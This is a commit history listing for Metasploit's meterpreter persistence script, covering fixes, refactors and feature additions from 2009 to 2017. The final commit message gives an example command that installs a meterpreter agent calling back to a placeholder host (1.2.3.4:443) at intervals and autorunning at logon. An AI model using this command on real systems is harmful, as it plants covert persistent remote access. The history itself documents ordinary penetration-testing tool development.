Commit Graph

32 Commits (8540f2cd1c97bcc1353529774f1ccadce1efd2e0)

Author SHA1 Message Date
William Vu 1791f209fa Revert "delete meterpreter scripts with replacement post modules"
This reverts commit 13b06db48e.
2017-01-29 14:10:21 -06:00
Brent Cook 13b06db48e delete meterpreter scripts with replacement post modules 2017-01-12 14:12:16 -06:00
OJ 462e91ed22
Fix persistence script to work with new platform changes 2016-12-12 11:20:23 +10:00
Brendan 2525eab996 persistance -> persistence 2016-07-28 12:56:04 -07:00
g0tmi1k 6dcc9b7dab More inconsistencies 2015-06-12 21:59:15 +01:00
g0tmi1k a53ca53a6a Fix inconstancy - multi/handler 2015-06-12 21:23:51 +01:00
OJ e7babc4acb Fix persistence script to support x64 payloads 2015-04-19 12:41:51 +10:00
Sigurd Jervelund Hansen c6cb1e840d Fixes persistence module by revering changes to the value returned by the write_script_to_target function, which screws up the path that is used for startup. Currently an escaped path "C://Users//..." is being used instead of using windows standards "C:\Users\...". 2015-03-10 10:26:03 +01:00
HD Moore 4fc4866fd8 Merge code in from #2395 2014-12-12 16:22:51 -06:00
sinn3r 5e076e0375 Text about not accepting changes to meterpreter scripts 2014-09-16 16:41:14 -05:00
OJ 9fb081cb2d Add getenvs, update getenv, change extract_path use
Stacks of modules were using `extract_path` where it wasn't really semantically correct
because this was the only way to expand environment variables. This commit fixes that
up a bit.

Also, I changed the existing `getenv` function in `stdapi` to `getenvs`, and had it
support the splat operator. I added a `getenv` function which is used just for a
single variable and uses `getenvs` behind the scenes.

The meterpreter console `getenv` command now uses `getenvs`
2013-12-19 11:54:34 +10:00
Tab Assassin 2e8d19edcf Retab all the things (except external/) 2013-09-30 13:47:53 -05:00
James Lee ca53c6f15b Remove Id tags in scripts/ 2013-09-17 10:42:58 -05:00
Tod Beardsley 4a72be9bb2 Fixes #4603 thanks!
git-svn-id: file:///home/svn/framework3/trunk@14022 4d416f70-5f16-0410-b530-b9f4589650da
2011-10-21 20:04:56 +00:00
HD Moore 9220506ba2 Merge in recent meterpreter work. These are not the commits you are looking for (more info on what all this is later this week).
git-svn-id: file:///home/svn/framework3/trunk@13053 4d416f70-5f16-0410-b530-b9f4589650da
2011-06-28 21:26:43 +00:00
HD Moore 3794ed35cc Apply patches from Matthew Weeks (scriptjunkie) to fix traversal flaws outlined in his Black Hat DC talk:
https://media.blackhat.com/bh-dc-11/Weeks/BlackHat_DC_2011_Weeks_Counterattack-wp.pdf
https://media.blackhat.com/bh-dc-11/Weeks/BlackHat_DC_2011_Weeks_Counterattack-Slides.pdf



git-svn-id: file:///home/svn/framework3/trunk@11636 4d416f70-5f16-0410-b530-b9f4589650da
2011-01-25 02:24:37 +00:00
Carlos Perez cb65bf9163 forgot help message description
git-svn-id: file:///home/svn/framework3/trunk@11301 4d416f70-5f16-0410-b530-b9f4589650da
2010-12-12 02:14:11 +00:00
Carlos Perez d706a215d3 Removed unused variables
git-svn-id: file:///home/svn/framework3/trunk@11293 4d416f70-5f16-0410-b530-b9f4589650da
2010-12-11 16:18:03 +00:00
Carlos Perez 75fdbb814d full re-write of the persistence script, now support payload selection, installing as service and selection of a alternate executable template
git-svn-id: file:///home/svn/framework3/trunk@11292 4d416f70-5f16-0410-b530-b9f4589650da
2010-12-11 15:51:36 +00:00
Matt Weeks ca21c6df15 Add service option to persistence to keep escalated privileges through a reboot.
git-svn-id: file:///home/svn/framework3/trunk@10847 4d416f70-5f16-0410-b530-b9f4589650da
2010-10-30 19:27:43 +00:00
Carlos Perez 7d665e8a8d All scripts that are not platform dependednt will check for version, windows specific will only run on win32, win64 and some on PHP
git-svn-id: file:///home/svn/framework3/trunk@10277 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-09 16:09:27 +00:00
Carlos Perez 2949ef2458 Fixed Bug #2163
git-svn-id: file:///home/svn/framework3/trunk@9635 4d416f70-5f16-0410-b530-b9f4589650da
2010-06-30 00:20:04 +00:00
Carlos Perez d5c981f16e Now uses the new Meterpreter mixin and added option for persistence in HKCU for systems with UAC or limited privs
git-svn-id: file:///home/svn/framework3/trunk@9531 4d416f70-5f16-0410-b530-b9f4589650da
2010-06-15 22:13:04 +00:00
Carlos Perez f6f88e90dc Added auto generation of cleanup scrit to persistance Meterpreter script
git-svn-id: file:///home/svn/framework3/trunk@9190 4d416f70-5f16-0410-b530-b9f4589650da
2010-05-01 18:19:16 +00:00
HD Moore aebedfdb2d Propogate the workspace down to multi-handlers
git-svn-id: file:///home/svn/framework3/trunk@8734 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-07 22:49:08 +00:00
HD Moore aeebec3b7f Fix an issue where %TEMP% contains a space
git-svn-id: file:///home/svn/framework3/trunk@8019 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-29 04:11:58 +00:00
HD Moore 4657436e1d See #609. Force the EXITFUNC to process for persistence.rb's handler
git-svn-id: file:///home/svn/framework3/trunk@7766 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-09 00:18:43 +00:00
James Lee 1afbd3da5f print_status -> print_line in usage
git-svn-id: file:///home/svn/framework3/trunk@7361 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 00:38:05 +00:00
HD Moore 83e9cf8472 Fixes #456. Matches the new API
git-svn-id: file:///home/svn/framework3/trunk@7337 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 19:57:52 +00:00
James Lee 0a6bb91cb9 keywords
git-svn-id: file:///home/svn/framework3/trunk@7276 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 15:14:28 +00:00
James Lee e836e6373a add Id to scripts; remove shebang since they should never run from commandline
git-svn-id: file:///home/svn/framework3/trunk@7252 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:04:39 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00